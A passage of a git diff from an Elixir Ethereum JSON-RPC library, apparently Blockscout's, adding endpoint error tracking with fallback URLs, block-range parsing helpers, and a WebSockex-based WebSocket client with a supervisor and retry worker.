URL to track errors for + - `json_rpc_named_arguments`: JSON-RPC configuration for the endpoint + - `url_type`: Type of endpoint (`:ws`, `:trace`, `:http`, or `:eth_call`) + + ## Returns + - `:ok` + """ + @spec inc_error_count(String.t(), EthereumJSONRPC.json_rpc_named_arguments(), url_type()) :: :ok + def inc_error_count(url, json_rpc_named_arguments, url_type) do + GenServer.cast(__MODULE__, {:inc_error_count, url, json_rpc_named_arguments, url_type}) + end + + @doc """ + Checks if the given endpoint URL is not marked as unavailable + + ## Parameters + - `url`: The endpoint URL to check + - `url_type`: The type of endpoint (`:ws`, `:trace`, `:http`, or `:eth_call`) + + ## Returns + - `:ok` if the endpoint is available + - `:unavailable` if the endpoint is marked as unavailable + """ + @spec check_endpoint(String.t(), url_type()) :: :ok | :unavailable + def check_endpoint(url, url_type) do + GenServer.call(__MODULE__, {:check_endpoint, url, url_type}) + end + + @doc """ + Filters a list of given URLs, removing those that are marked as unavailable. + + ## Parameters + - `urls`: List of URLs to filter + - `url_type`: Type of endpoint (`:ws`, `:trace`, `:http`, or `:eth_call`) + + ## Returns + - List of URLs that are not marked as unavailable + """ + @spec filter_unavailable_urls([String.t()], url_type()) :: [String.t()] + def filter_unavailable_urls(urls, url_type) do + GenServer.call(__MODULE__, {:filter_unavailable_urls, urls, url_type}) + end + + @doc """ + Checks if the given endpoint is marked as unavailable and if it is, replaces it with a fallback URL if provided. + + ## Parameters + - `url`: The original endpoint URL to check + - `replace_url`: The fallback URL to use if the original is unavailable + - `url_type`: The type of endpoint (`:ws`, `:trace`, `:http`, or `:eth_call`) + + ## Returns + - The original `url` if it is available + - The `replace_url` if the original URL is unavailable and `replace_url` is provided + - The original `url` if it is unavailable and no `replace_url` is provided + """ + @spec maybe_replace_url(String.t(), String.t() | nil, url_type()) :: String.t() + def maybe_replace_url(url, replace_url, url_type) do + case check_endpoint(url, url_type) do + :ok -> url + :unavailable -> replace_url || url + end + end + + @doc """ + Checks if all URLs in the given list are marked as unavailable and if they are, replaces them with fallback URLs. + + ## Parameters + - `urls`: List of original URLs to check + - `replace_urls`: List of fallback URLs to use if all original URLs are unavailable + - `url_type`: Type of endpoint (`:ws`, `:trace`, `:http`, or `:eth_call`) + + ## Returns + - Available URLs from the original list if any exist + - The `replace_urls` if all original URLs are unavailable and `replace_urls` is provided + - The original `urls` if all are unavailable and no `replace_urls` is provided + - Empty list if both `urls` and `replace_urls` are nil + """ + @spec maybe_replace_urls([String.t()] | nil, [String.t()] | nil, url_type()) :: [String.t()] + def maybe_replace_urls(urls, replace_urls, url_type) do + case filter_unavailable_urls(urls, url_type) do + [] -> replace_urls || urls || [] + available_urls -> available_urls + end + end + + @doc """ + Removes the given URL from the list of unavailable endpoints. + + ## Parameters + - `url`: The endpoint URL to mark as available + - `url_type`: Type of endpoint (`:ws`, `:trace`, `:http`, or `:eth_call`) + - `json_rpc_named_arguments`: JSON-RPC configuration for the endpoint + + ## Returns + - `:ok` + """ + @spec enable_endpoint(String.t(), url_type(), EthereumJSONRPC.json_rpc_named_arguments()) :: :ok + def enable_endpoint(url, url_type, json_rpc_named_arguments) do + GenServer.cast(__MODULE__, {:enable_endpoint, url, url_type, json_rpc_named_arguments}) + end + + # Checks if the given endpoint URL is not marked as unavailable for the specified + # URL type. + # + # ## Parameters + # - `url`: The endpoint URL to check + # - `url_type`: The type of endpoint (`:ws`, `:trace`, `:http`, or `:eth_call`) + # - `state`: The current state containing unavailable endpoints + # + # ## Returns + # - `:ok` if the endpoint is available + # - `:unavailable` if the endpoint is marked as unavailable + def handle_call({:check_endpoint, url, url_type}, _from, %{unavailable_endpoints: unavailable_endpoints} = state) do + result = if url in unavailable_endpoints[url_type], do: :unavailable, else: :ok + + {:reply, result, state} + end + + # Filters a list of given URLs, removing those that are marked as unavailable for + # the specified URL type. + # + # ## Parameters + # - `urls`: List of URLs to filter + # - `url_type`: The type of endpoint (`:ws`, `:trace`, `:http`, or `:eth_call`) + # - `state`: The current state containing unavailable endpoints + # + # ## Returns + # - `{:reply, [String.t()], state}` List of available URLs + def handle_call( + {:filter_unavailable_urls, urls, url_type}, + _from, + %{unavailable_endpoints: unavailable_endpoints} = state + ) do + {:reply, do_filter_unavailable_urls(urls, unavailable_endpoints[url_type]), state} + end + + # Handles error count increments for endpoint URLs. + # + # Increments the error count for a URL unless it is marked as an API endpoint. API + # endpoints are not monitored for errors. + # + # ## Parameters + # - `url`: The endpoint URL to track errors for + # - `json_rpc_named_arguments`: JSON-RPC configuration for the endpoint + # - `url_type`: Type of endpoint (`:ws`, `:trace`, `:http`, or `:eth_call`) + # - `state`: Current state containing error counts and unavailable endpoints + # + # ## Returns + # - `{:noreply, new_state}` with updated error counts + def handle_cast({:inc_error_count, url, json_rpc_named_arguments, url_type}, state) do + new_state = + if json_rpc_named_arguments[:api?], + do: state, + else: do_increase_error_counts(url, json_rpc_named_arguments, url_type, state) + + {:noreply, new_state} + end + + # Removes the given URL from the list of unavailable endpoints. + # + # ## Parameters + # - `url`: The endpoint URL to enable + # - `url_type`: The type of endpoint (`:ws`, `:trace`, `:http`, or `:eth_call`) + # - `json_rpc_named_arguments`: JSON-RPC configuration for the endpoint + # - `state`: Current state containing unavailable endpoints + # + # ## Returns + # - `{:noreply, new_state}` with updated unavailable endpoints list + def handle_cast( + {:enable_endpoint, url, url_type, json_rpc_named_arguments}, + %{unavailable_endpoints: unavailable_endpoints} = state + ) do + log_url_available(url, url_type, unavailable_endpoints[url_type], json_rpc_named_arguments) + + {:noreply, + %{state | unavailable_endpoints: %{unavailable_endpoints | url_type => unavailable_endpoints[url_type] -- [url]}}} + end + + # For each URL and URL type combination, checks if the last error timestamp is + # within the window duration (an error happened recently). If not, removes those + # error records. + # + # ## Parameters + # - `state`: Current state containing error counts by URL and URL type + # + # ## Returns + # - `{:noreply, new_state}` with outdated error records removed + def handle_info(:clear_old_records, %{error_counts: error_counts} = state) do + new_error_counts = Enum.reduce(error_counts, %{}, &do_clear_old_records/2) + + schedule_next_cleaning() + + {:noreply, %{state | error_counts: new_error_counts}} + end + + # For the given url cleans up the records of every url type for which the last + # error happened too long ago (based on `@window_duration`). + # + # It is assumed that this function is called in reducer context, so it accumulates + # urls for which errors happened recently. + # + # ## Parameters + # - `{url, counts_by_types}`: Tuple of URL and its error counts by type. It is + # expected that `counts_by_types` is a map with keys as url types and values + # as maps with `:last_occasion` key which is a timestamp of the last error + # occurrence. + # - `acc`: Accumulator map for storing current error records + # + # ## Returns + # - Updated map of error records, excluding expired ones + @spec do_clear_old_records({String.t(), %{url_type() => %{last_occasion: non_neg_integer()}}}, map()) :: map() + defp do_clear_old_records({url, counts_by_types}, acc) do + counts_by_types + |> Enum.reduce(%{}, fn {type, %{last_occasion: last_occasion} = record}, acc -> + if now() - last_occasion > @window_duration, do: acc, else: Map.put(acc, type, record) + end) + |> case do + empty_map when empty_map == %{} -> acc + non_empty_map -> Map.put(acc, url, non_empty_map) + end + end + + # Filters out unavailable URLs from the provided list. + # + # ## Parameters + # - `urls`: List of URLs to filter, can be nil + # - `unavailable_urls`: List of URLs marked as unavailable + # + # ## Returns + # - List of URLs that are not marked as unavailable + @spec do_filter_unavailable_urls([String.t()] | nil, [String.t()]) :: [String.t()] + defp do_filter_unavailable_urls(urls, unavailable_urls) do + Enum.reject(urls || [], fn url -> url in unavailable_urls end) + end + + # Updates error counts for an endpoint URL and marks it as unavailable if the error + # threshold is exceeded. + # + # This function tracks errors for each endpoint URL and URL type combination. When + # the error count reaches the maximum threshold, the endpoint is marked as + # unavailable and monitoring is initiated. + # + # ## Parameters + # - `url`: The endpoint URL to track errors for + # - `json_rpc_named_arguments`: JSON-RPC configuration for the endpoint + # - `url_type`: Type of endpoint (`:ws`, `:trace`, `:http`, or `:eth_call`) + # - `state`: Current state containing error counts and unavailable endpoints + # + # ## Returns + # - Updated state with modified error counts and unavailable endpoints + @spec do_increase_error_counts( + String.t(), + EthereumJSONRPC.json_rpc_named_arguments(), + url_type(), + %{ + error_counts: %{ + String.t() => %{ + url_type() => %{count: non_neg_integer(), last_occasion: non_neg_integer()} + } + }, + unavailable_endpoints: %{url_type() => [String.t()]} + } + ) :: %{ + error_counts: %{ + String.t() => %{ + url_type() => %{count: non_neg_integer(), last_occasion: non_neg_integer()} + } + }, + unavailable_endpoints: %{url_type() => [String.t()]} + } + defp do_increase_error_counts(url, json_rpc_named_arguments, url_type, %{error_counts: error_counts} = state) do + current_count = error_counts[url][url_type][:count] + unavailable_endpoints = state.unavailable_endpoints[url_type] + + cond do + url in unavailable_endpoints -> + state + + is_nil(current_count) -> + %{state | error_counts: Map.put(error_counts, url, %{url_type => %{count: 1, last_occasion: now()}})} + + current_count + 1 >= @max_error_count -> + EndpointAvailabilityChecker.add_endpoint( + put_in(json_rpc_named_arguments[:transport_options][:urls], [url]), + url_type + ) + + log_url_unavailable(url, url_type, unavailable_endpoints, json_rpc_named_arguments) + + %{ + state + | error_counts: Map.put(error_counts, url, Map.delete(error_counts[url], url_type)), + unavailable_endpoints: %{state.unavailable_endpoints | url_type => [url | unavailable_endpoints]} + } + + true -> + %{ + state + | error_counts: Map.put(error_counts, url, %{url_type => %{count: current_count + 1, last_occasion: now()}}) + } + end + end + + # Logs a warning message when a URL becomes unavailable. + # + # Includes information about fallback options based on the URL type and available + # alternative URLs. WebSocket endpoints (`:ws`) are handled differently since they + # don't support fallback URLs and alternative endpoints. + # + # ## Parameters + # - `url`: The URL that became unavailable + # - `url_type`: Type of endpoint (`:ws`, `:trace`, `:http`, or `:eth_call`) + # - `unavailable_endpoints`: List of currently unavailable endpoints + # - `json_rpc_named_arguments`: JSON-RPC configuration containing transport options + # + # ## Returns + # - `:ok` + @spec log_url_unavailable(String.t(), url_type(), [String.t()], EthereumJSONRPC.json_rpc_named_arguments()) :: :ok + defp log_url_unavailable(url, :ws, _unavailable_endpoints, _json_rpc_named_arguments) do + Logger.warning("URL #{inspect(url)} is unavailable") + end + + defp log_url_unavailable(url, url_type, unavailable_endpoints, json_rpc_named_arguments) do + available_urls = + url_type + |> available_urls(unavailable_endpoints, json_rpc_named_arguments) + |> Kernel.--([url]) + + fallback_url_message = + case {available_urls, fallback_url_set?(url_type, json_rpc_named_arguments)} do + {[], true} -> "and there is no other #{url_type} url available, switching to fallback #{url_type} url" + {[], false} -> "there is no other #{url_type} url available, and no fallback is set" + _ -> "switching to another #{url_type} url" + end + + Logger.warning("URL #{inspect(url)} is unavailable, #{fallback_url_message}") + end + + # Logs an info message when a previously unavailable URL becomes available. + # + # Includes additional context about switching back from fallback URLs if applicable. + # + # ## Parameters + # - `url`: The URL that became available + # - `url_type`: Type of endpoint (`:ws`, `:trace`, `:http`, or `:eth_call`) + # - `unavailable_endpoints`: List of currently unavailable endpoints + # - `json_rpc_named_arguments`: JSON-RPC configuration containing transport options + # + # ## Returns + # - `:ok` + @spec log_url_available(String.t(), url_type(), [String.t()], EthereumJSONRPC.json_rpc_named_arguments()) :: :ok + defp log_url_available(url, url_type, unavailable_endpoints, json_rpc_named_arguments) do + available_urls = available_urls(url_type, unavailable_endpoints, json_rpc_named_arguments) + + message_extra = + case {available_urls, fallback_url_set?(url_type, json_rpc_named_arguments)} do + {[], true} -> ", switching back from fallback urls" + _ -> "" + end + + Logger.info("URL #{inspect(url)} of #{url_type} type is available now#{message_extra}") + end + + # Returns a list of available URLs for the given URL type, excluding those marked as unavailable. + # + # First it gets URLs that correspond to the specific URL type in JSON-RPC transport + # and then filters out unavailable ones. + # + # ## Parameters + # - `url_type`: Type of endpoint (`:ws`, `:trace`, `:http`, or `:eth_call`) + # - `unavailable_endpoints`: List of URLs currently marked as unavailable + # - `json_rpc_named_arguments`: JSON-RPC configuration containing transport options + # + # ## Returns + # - List of available URLs for the specified type + @spec available_urls(url_type(), [String.t()], EthereumJSONRPC.json_rpc_named_arguments()) :: [String.t()] + defp available_urls(url_type, unavailable_endpoints, json_rpc_named_arguments) do + url_type + |> CommonHelper.url_type_to_urls(json_rpc_named_arguments[:transport_options]) + |> do_filter_unavailable_urls(unavailable_endpoints) + end + + # Checks if a fallback URL is configured for the given URL type. + # + # ## Parameters + # - `url_type`: Type of URL to check (`:ws`, `:trace`, `:http`, or `:eth_call`) + # - `json_rpc_named_arguments`: JSON-RPC configuration containing transport options + # + # ## Returns + # - `true` if a fallback URL is configured for the given URL type + # - `false` otherwise + @spec fallback_url_set?(url_type(), EthereumJSONRPC.json_rpc_named_arguments()) :: boolean() + defp fallback_url_set?(url_type, json_rpc_named_arguments) do + case url_type do + :http -> not is_nil(json_rpc_named_arguments[:transport_options][:fallback_urls]) + :trace -> not is_nil(json_rpc_named_arguments[:transport_options][:fallback_trace_urls]) + :eth_call -> not is_nil(json_rpc_named_arguments[:transport_options][:fallback_eth_call_urls]) + _ -> false + end + end + + @spec schedule_next_cleaning() :: reference() + defp schedule_next_cleaning do + Process.send_after(self(), :clear_old_records, @cleaning_interval) + end + + @spec now() :: non_neg_integer() + defp now, do: :os.system_time(:second) +end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/utility/ranges_helper.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/utility/ranges_helper.ex new file mode 100644 index 000000000000..88d499db1b2d --- /dev/null +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/utility/ranges_helper.ex @@ -0,0 +1,245 @@ +# credo:disable-for-this-file +defmodule EthereumJSONRPC.Utility.RangesHelper do + @moduledoc """ + Helper for ranges manipulations. + """ + + @default_trace_block_ranges "0..latest" + + @doc """ + Checks if block number is traceable + """ + @spec traceable_block_number?(integer() | nil) :: boolean() + def traceable_block_number?(block_number) do + if trace_ranges_present?() do + number_in_ranges?(block_number, get_trace_block_ranges()) + else + true + end + end + + @doc """ + Filters out non-traceable records from `data` by its block number + """ + @spec filter_traceable_block_numbers([integer() | map()]) :: [integer() | map()] + def filter_traceable_block_numbers(data) do + if trace_ranges_present?() do + trace_block_ranges = get_trace_block_ranges() + Enum.filter(data, &number_in_ranges?(extract_block_number(&1), trace_block_ranges)) + else + data + end + end + + @doc """ + Filters elements with `filter_func` if `TRACE_BLOCK_RANGES` is set + """ + @spec filter_by_height_range([any()], (any() -> boolean())) :: [any()] + def filter_by_height_range(elements, filter_func) do + if trace_ranges_present?() do + Enum.filter(elements, &filter_func.(&1)) + else + elements + end + end + + @doc """ + Checks if trace ranges are defined via env variables + """ + @spec trace_ranges_present? :: boolean() + def trace_ranges_present? do + Application.get_env(:indexer, :trace_block_ranges) != @default_trace_block_ranges + end + + @doc """ + Retrieves trace ranges from application variable in string format and parses them into Range/integer + """ + @spec get_trace_block_ranges :: [Range.t() | integer()] + def get_trace_block_ranges do + :indexer + |> Application.get_env(:trace_block_ranges) + |> parse_block_ranges() + end + + @doc """ + Parse ranges from string format into Range/integer + """ + @spec parse_block_ranges(binary()) :: [Range.t() | integer()] + def parse_block_ranges(block_ranges_string) do + block_ranges_string + |> String.split(",") + |> Enum.reduce({[], nil}, fn string_range, {ranges, to_latest} -> + case String.split(string_range, "..") do + [from_string, "latest"] -> + {ranges, parse_integer(from_string)} + + [from_string, to_string] -> + {[get_from_to(from_string, to_string) | ranges], to_latest} + + _ -> + {ranges, to_latest} + end + end) + |> then(fn + {ranges, nil} -> + sanitize_ranges(ranges) + + {ranges, to_latest} -> + ranges + |> sanitize_ranges() + |> Enum.reduce([], fn + first..last//1 = range, acc -> + cond do + first >= to_latest -> acc + last >= to_latest -> [first..(to_latest - 1) | acc] + true -> [range | acc] + end + + first..last//-1 = range, acc -> + cond do + last >= to_latest -> acc + first >= to_latest -> [(to_latest - 1)..last | acc] + true -> [range | acc] + end + end) + |> Enum.reverse() + |> Kernel.++([to_latest]) + end) + end + + @doc """ + Extracts the minimum block number from a given block ranges string. + + ## Parameters + + - block_ranges_string: A string representing block ranges. + + ## Returns + + - The minimum block number as an integer. + + ## Examples + + iex> get_min_block_number_from_range_string("100..200,300..400") + 100 + + """ + @spec get_min_block_number_from_range_string(binary()) :: integer() + def get_min_block_number_from_range_string(block_ranges_string) do + min_block_number = + case block_ranges_string + |> parse_block_ranges() + |> Enum.at(0) do + block_number.._//_ -> block_number + block_number -> block_number + end + + min_block_number + end + + @doc """ + Checks if `number` is present in `ranges` + """ + @spec number_in_ranges?(integer(), [Range.t()]) :: boolean() + def number_in_ranges?(number, ranges) do + Enum.reduce_while(ranges, false, fn + _from.._to//_ = range, _acc -> if number in range, do: {:halt, true}, else: {:cont, false} + num_to_latest, _acc -> if number >= num_to_latest, do: {:halt, true}, else: {:cont, false} + end) + end + + defp get_from_to(from_string, to_string) do + with {from, ""} <- Integer.parse(from_string), + {to, ""} <- Integer.parse(to_string) do + if from <= to, do: from..to, else: nil + else + _ -> nil + end + end + + @doc """ + Rejects empty ranges and merges adjacent ranges + """ + @spec sanitize_ranges([Range.t() | nil]) :: [Range.t()] + def sanitize_ranges(ranges) do + ranges + |> Enum.reject(&is_nil/1) + |> do_sanitize_ranges() + end + + @doc """ + Converts initial ranges to ranges with size less or equal to the given size + """ + @spec split([Range.t()], integer) :: [Range.t()] + def split(ranges, size) do + ranges + |> Enum.reduce([], fn from..to//_ = range, acc -> + range_size = Range.size(range) + + if range_size > size do + Enum.reduce(Range.new(0, range_size - 1, size), acc, fn iterator, inner_acc -> + start_from = from - iterator + [Range.new(start_from, max(start_from - size + 1, to), -1) | inner_acc] + end) + else + [range | acc] + end + end) + |> Enum.reverse() + end + + @doc """ + Defines a stream reducer that filters out data with non-traceable block number. + Applicable for fetchers' `init` function (for modules that implement `BufferedTask`). + """ + @spec stream_reducer_traceable((any(), any() -> any())) :: (any(), any() -> any()) + def stream_reducer_traceable(reducer) do + if trace_ranges_present?() do + trace_block_ranges = get_trace_block_ranges() + + fn data, acc -> + if number_in_ranges?(extract_block_number(data), trace_block_ranges), + do: reducer.(data, acc), + else: acc + end + else + fn block_number, acc -> + reducer.(block_number, acc) + end + end + end + + defp do_sanitize_ranges([]), do: [] + + defp do_sanitize_ranges([_.._//step | _] = ranges) do + ranges + |> Enum.reject(&is_nil/1) + |> Enum.map(fn first..last//_ -> min(first, last)..max(first, last) end) + |> Enum.sort_by(fn first.._last//_ -> first end) + |> Enum.reduce([], fn + range, [] -> + [range] + + first..last//_ = range, [previous_first..previous_last//_ | rest] = acc -> + if first <= previous_last + 1 do + [previous_first..max(previous_last, last) | rest] + else + [range | acc] + end + end) + |> Enum.reverse() + |> Enum.map(fn first..last//_ -> + if step == 1, do: first..last, else: last..first//-1 + end) + end + + defp extract_block_number(%{block_number: block_number}), do: block_number + defp extract_block_number(block_number), do: block_number + + defp parse_integer(string) do + case Integer.parse(string) do + {number, ""} -> number + _ -> nil + end + end +end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/variant.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/variant.ex index 0374165477ca..c4991fe97c92 100644 --- a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/variant.ex +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/variant.ex @@ -18,11 +18,11 @@ defmodule EthereumJSONRPC.Variant do Fetch the block reward contract beneficiaries for a given blocks from the variant of the Ethereum JSONRPC API. For more information on block reward contracts see: - https://wiki.parity.io/Block-Reward-Contract.html + https://openethereum.github.io/Block-Reward-Contract ## Returns - * `{:ok, %EthereumJSONRPC.FetchedBeneficiaries{params_list: [%{address_hash: address_hash, block_number: block_number}], errors: %{code: code, message: message, data: %{block_number: block_number}}}` - some beneficiaries were successfully fetched and some may have had errors. + * `{:ok, %EthereumJSONRPC.FetchedBeneficiaries{params_set: [%{address_hash: address_hash, block_number: block_number}], errors: %{code: code, message: message, data: %{block_number: block_number}}}` - some beneficiaries were successfully fetched and some may have had errors. * `{:error, reason}` - there was an error at the transport level * `:ignore` - the variant does not support fetching beneficiaries """ @@ -94,4 +94,43 @@ defmodule EthereumJSONRPC.Variant do ], EthereumJSONRPC.json_rpc_named_arguments() ) :: {:ok, [raw_trace_params]} | {:error, reason :: term} | :ignore + + @doc """ + Fetches the raw traces from the variant of the Ethereum JSONRPC API. + + ## Returns + + * `{:ok, [raw_traces]}` - raw traces were successfully fetched for all transactions + * `{:error, reason}` - there was one or more errors with `reason` in fetching at least one of the transaction's + raw traces + * `:ignore` - the variant does not support fetching internal transactions. + """ + @callback fetch_transaction_raw_traces( + %{hash: EthereumJSONRPC.hash(), block_number: EthereumJSONRPC.block_number()}, + EthereumJSONRPC.json_rpc_named_arguments() + ) :: {:ok, [raw_trace_params]} | {:error, reason :: term} | :ignore + + def get do + default_variant = get_default_variant() + + variant = System.get_env("ETHEREUM_JSONRPC_VARIANT", default_variant) + + if variant == "parity" do + "nethermind" + else + variant + |> String.split(".") + |> List.last() + |> String.downcase() + end + end + + # credo:disable-for-next-line + defp get_default_variant do + case Application.get_env(:explorer, :chain_type) do + :rsk -> "rsk" + :filecoin -> "filecoin" + _ -> "geth" + end + end end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/web_socket.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/web_socket.ex index 43c890603290..a6d7afccb4f0 100644 --- a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/web_socket.ex +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/web_socket.ex @@ -8,7 +8,7 @@ defmodule EthereumJSONRPC.WebSocket do @behaviour Transport @enforce_keys ~w(url web_socket)a - defstruct ~w(url web_socket web_socket_options)a + defstruct ~w(url fallback_url web_socket web_socket_options)a @typedoc """ WebSocket name @@ -43,7 +43,7 @@ defmodule EthereumJSONRPC.WebSocket do Starts web socket attached to `url` with `options`. """ # Return is same as `t:GenServer.on_start/0` - @callback start_link([(url :: String.t()) | (options :: term())]) :: + @callback start_link(url :: String.t(), options :: term()) :: {:ok, pid()} | :ignore | {:error, {:already_started, pid()} | (reason :: term())} @doc """ @@ -53,7 +53,7 @@ defmodule EthereumJSONRPC.WebSocket do * `{:ok, result}` - `result` is the `/result` from JSONRPC response object of format `%{"id" => ..., "result" => result}`. - * `{:error, reason}` - `reason` is the the `/error` from JSONRPC response object of format + * `{:error, reason}` - `reason` is the `/error` from JSONRPC response object of format `%{"id" => ..., "error" => reason}`. The transport can also give any `term()` for `reason` if a more specific reason is possible. diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/web_socket/retry_worker.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/web_socket/retry_worker.ex new file mode 100644 index 000000000000..4a6329edc036 --- /dev/null +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/web_socket/retry_worker.ex @@ -0,0 +1,59 @@ +defmodule EthereumJSONRPC.WebSocket.RetryWorker do + @moduledoc """ + Stores the unavailable websocket endpoint state and periodically checks if it is already available. + """ + + use GenServer + + require Logger + + alias EthereumJSONRPC.WebSocket.Supervisor, as: WebSocketSupervisor + + def start_link(_) do + GenServer.start_link(__MODULE__, :ok, name: __MODULE__) + end + + def activate(ws_state) do + GenServer.cast(__MODULE__, {:activate, ws_state}) + end + + def deactivate do + GenServer.cast(__MODULE__, :deactivate) + end + + def init(_) do + schedule_next_retry() + + {:ok, %{active?: false, ws_state: nil}} + end + + def handle_cast({:activate, ws_state}, state) do + {:noreply, %{state | active?: true, ws_state: %{ws_state | retry: true}}} + end + + def handle_cast(:deactivate, state) do + {:noreply, %{state | active?: false}} + end + + def handle_info(:retry, %{active?: false} = state) do + schedule_next_retry() + + {:noreply, state} + end + + def handle_info(:retry, %{active?: true, ws_state: ws_state} = state) do + WebSocketSupervisor.start_client(ws_state) + + schedule_next_retry() + + {:noreply, %{state | active?: false}} + end + + defp schedule_next_retry do + Process.send_after(self(), :retry, retry_interval()) + end + + defp retry_interval do + Application.get_env(:ethereum_jsonrpc, __MODULE__)[:retry_interval] + end +end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/web_socket/supervisor.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/web_socket/supervisor.ex new file mode 100644 index 000000000000..974b249e18df --- /dev/null +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/web_socket/supervisor.ex @@ -0,0 +1,66 @@ +defmodule EthereumJSONRPC.WebSocket.Supervisor do + @moduledoc """ + Supervises the processes related to `EthereumJSONRPC.WebSocket`. + """ + + use Supervisor + + alias EthereumJSONRPC.WebSocket.RetryWorker + + def start_link(transport_options) do + Supervisor.start_link(__MODULE__, transport_options, name: __MODULE__) + end + + def start_client(ws_state) do + subscribe_named_arguments = + Application.get_env(:indexer, :realtime_overrides)[:subscribe_named_arguments] || + Application.get_env(:indexer, :subscribe_named_arguments) + + web_socket_module = + subscribe_named_arguments + |> Keyword.fetch!(:transport_options) + |> Keyword.fetch!(:web_socket) + + client_spec = client_spec(web_socket_module, Indexer.Block.Realtime.WebSocketCopy, ws_state.url, nil, ws_state) + + Supervisor.start_child(__MODULE__, client_spec) + end + + def stop_other_client(pid) do + __MODULE__ + |> Supervisor.which_children() + |> Enum.reject(fn {child_id, child_pid, _type, _modules} -> child_pid == pid or child_id == RetryWorker end) + |> Enum.each(fn {child_id, _child_pid, _type, _modules} -> + Supervisor.terminate_child(__MODULE__, child_id) + Supervisor.delete_child(__MODULE__, child_id) + Process.unregister(Indexer.Block.Realtime.WebSocketCopy) + Process.register(pid, Indexer.Block.Realtime.WebSocket) + end) + end + + def init(%{ + url: url, + fallback_url: fallback_url, + web_socket: web_socket_module, + web_socket_options: %{web_socket: web_socket} + }) do + children = [ + {RetryWorker, []}, + client_spec(web_socket_module, web_socket, url, fallback_url) + ] + + Supervisor.init(children, strategy: :one_for_one) + end + + defp client_spec(web_socket_module, name, url, fallback_url, init_state \\ nil) do + %{ + id: name, + start: { + web_socket_module, + :start_link, + [url, [name: name, fallback_url: fallback_url, init_state: init_state]] + }, + restart: :temporary + } + end +end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/web_socket/web_socket_client.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/web_socket/web_socket_client.ex index baa4ce61c1fb..4098e5e42a1c 100644 --- a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/web_socket/web_socket_client.ex +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/web_socket/web_socket_client.ex @@ -1,17 +1,15 @@ defmodule EthereumJSONRPC.WebSocket.WebSocketClient do @moduledoc """ - `EthereumJSONRPC.WebSocket` that uses `websocket_client` + `EthereumJSONRPC.WebSocket` that uses `WebSockex` """ require Logger - import EthereumJSONRPC, only: [request: 1] - alias EthereumJSONRPC.{Subscription, Transport, WebSocket} - alias EthereumJSONRPC.WebSocket.Registration + alias EthereumJSONRPC.WebSocket.{Registration, RetryWorker} + alias EthereumJSONRPC.WebSocket.Supervisor, as: WebSocketSupervisor alias EthereumJSONRPC.WebSocket.WebSocketClient.Options - @behaviour :websocket_client @behaviour WebSocket @enforce_keys ~w(url)a @@ -20,7 +18,11 @@ defmodule EthereumJSONRPC.WebSocket.WebSocketClient do subscription_id_to_subscription_reference: %{}, subscription_reference_to_subscription_id: %{}, subscription_reference_to_subscription: %{}, - url: nil + url: nil, + fallback?: false, + fallback_url: nil, + fallback_conn: nil, + retry: false @typedoc """ * `request_id_to_registration` - maps id of requests in flight to their @@ -41,62 +43,29 @@ defmodule EthereumJSONRPC.WebSocket.WebSocketClient do subscription_reference_to_subscription_id: %{reference() => Subscription.id()} } - # Supervisor interface - @impl WebSocket def child_spec(arg) do Supervisor.child_spec(%{id: __MODULE__, start: {__MODULE__, :start_link, [arg]}}, []) end @impl WebSocket - # only allow secure WSS - def start_link(["wss://" <> _ = url, websocket_opts, gen_fsm_options]) when is_list(gen_fsm_options) do - keepalive = websocket_opts[:keepalive] - - fsm_name = - case Keyword.fetch(gen_fsm_options, :name) do - {:ok, name} when is_atom(name) -> {:local, name} - :error -> :undefined - end - - %URI{host: host} = URI.parse(url) - host_charlist = String.to_charlist(host) - - # `:depth`, `:verify`, and `:verify_fun`, are based on `:hackney_connect.ssl_opts_1/2` as we use `:hackney` through - # `:httpoison` and this keeps the SSL rules consistent between HTTP and WebSocket - :websocket_client.start_link( - fsm_name, - url, - __MODULE__, - url, - ssl_verify: :verify_peer, - keepalive: keepalive, - socket_opts: [ - cacerts: :certifi.cacerts(), - depth: 99, - # SNI extension discloses host name in the clear, but allows for compatibility with Virtual Hosting for TLS - server_name_indication: host_charlist, - verify_fun: {&:ssl_verify_hostname.verify_fun/3, [check_hostname: host_charlist]} - ] - ) - end - - def start_link(["ws://" <> _ = url, websocket_opts, gen_fsm_options]) when is_list(gen_fsm_options) do - keepalive = websocket_opts[:keepalive] + def start_link(url, options) do + case build_conn(url, options) do + {:ok, conn, opts} -> + init_state = + options[:init_state] || + %__MODULE__{ + url: url, + fallback_url: options[:fallback_url], + fallback_conn: build_fallback_conn(options[:fallback_url], options) + } - fsm_name = - case Keyword.fetch(gen_fsm_options, :name) do - {:ok, name} when is_atom(name) -> {:local, name} - :error -> :undefined - end + WebSockex.start_link(conn, __MODULE__, init_state, opts) - :websocket_client.start_link( - fsm_name, - url, - __MODULE__, - url, - keepalive: keepalive - ) + error -> + Logger.error("Unable to build WS main connection: #{inspect(error)}") + :ignore + end end # Client interface @@ -120,25 +89,56 @@ defmodule EthereumJSONRPC.WebSocket.WebSocketClient do GenServer.call(web_socket, {:unsubscribe, subscription}) end - @impl :websocket_client - def init(url) do - {:reconnect, %__MODULE__{url: url}} + def handle_connect(_conn, state) do + Logger.metadata(fetcher: :websocket_client) + + unless state.fallback? do + RetryWorker.deactivate() + WebSocketSupervisor.stop_other_client(self()) + end + + {:ok, reconnect(%{state | connected: true, retry: 